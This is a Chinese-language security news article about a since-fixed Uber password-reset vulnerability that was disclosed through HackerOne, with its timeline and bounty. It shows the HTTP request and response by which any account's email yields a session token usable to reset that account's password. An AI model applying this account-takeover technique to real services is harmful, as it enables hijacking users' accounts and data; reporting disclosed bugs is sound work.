意大利安全专家Vincenzo C. Aka发现Uber平台存在身份认证漏洞,任意账户都可以利用该漏洞重置密码,这一发现于昨日正式公布。实际上,引发此次“身份认证危机”的漏洞是在七个月前发现的,Vincenzo C. Aka当时通过HackerOne的Bug Bounty项目将漏洞上报给了Uber(他在HackerOne平台的账号为procode701)。

该漏洞发展的时间线如下:

2016年10月2日—将漏洞上报Uber

2016年10月4日—漏洞分级

2016年10月6日—修复漏洞

2016年10月18日—研究者获10,000美元奖励

1462151098-hero.png

旧有漏洞如何重新利用?

“只需一个Uber有效账户的电子邮箱地址,任何人都可以接管该账户。在响应密码重置HTTP请求时,响应token就会暴露。也就是说,攻击者可以重发起重置请求,快速接收重置token。”

Uber对此回应称:“保护用户的数据安全是重中之重,因此我们对这项报告很感兴趣。另外,我们很乐意跟procode701合作,希望他将来可以上报更多漏洞。”

这位意大利专家发现,这一过程可以被利用生成认证token“inAuthSessionID”,这个token可以更改任意账户的密码。

为了获得更多细节,securityaffairs网站联系了Vincenzo C. Aka。Vincenzo C. Aka表示,只需使用任意一个Uber账号的有效电子邮件地址,发送重置密码的请求,就会收到包含“inAuthSessionID”session token的回应。只要用户发送重置密码的请求邮件,Uber平台每次都会生成一个特定的session token。

password.png

一旦获取session令牌“inAuthSessionID”,攻击者就可以通过正常的链接,进入重置密码界面更改密码。

2.png

1、https://auth.uber.com/login/stage/PASTE SESSION ID <—通过更改电子邮箱密码生成 inAuthSessionID /af9b9d0c-bb98-41de-876c-4cb911c79bd1 <– tokenID没有过期时间 

POST /login/handleanswer HTTP/1.1 Host: auth.uber.com 
{ "init": false, "answer": { "type": "PASSWORD_RESET_WITH_EMAIL", "userIdentifier": { "email": "xxxx@uber.com" } 
   } 
}
Reply
HTTP/1.1 200 OK 

{ "inAuthSessionID": "cdc1a741-0a8b-4356-8995-8388ab4bbf28", "stage": { "question": { "signinToken": "", "type": "VERIFY_PASSWORD_RESET", "tripChallenges": [] 
                     }, "alternatives": [] 
      } 
} 

这是一个高危漏洞,攻击者可以由此进入任意账户,获取任意用户的数据(例如,身份信息,银行数据,驾驶证信息),其中包括金融数据。

这不是Uber第一次陷入漏洞危机了,更多了解可参考FreeBuf此前报道:

美国流行打车APP Uber被曝收集用户隐私

Uber数据库遭入侵,50000名司机信息泄露

Uber修复三个漏洞,白帽子获数千美金奖励(含漏洞分析)

*参考来源securityaffairs,本文作者sun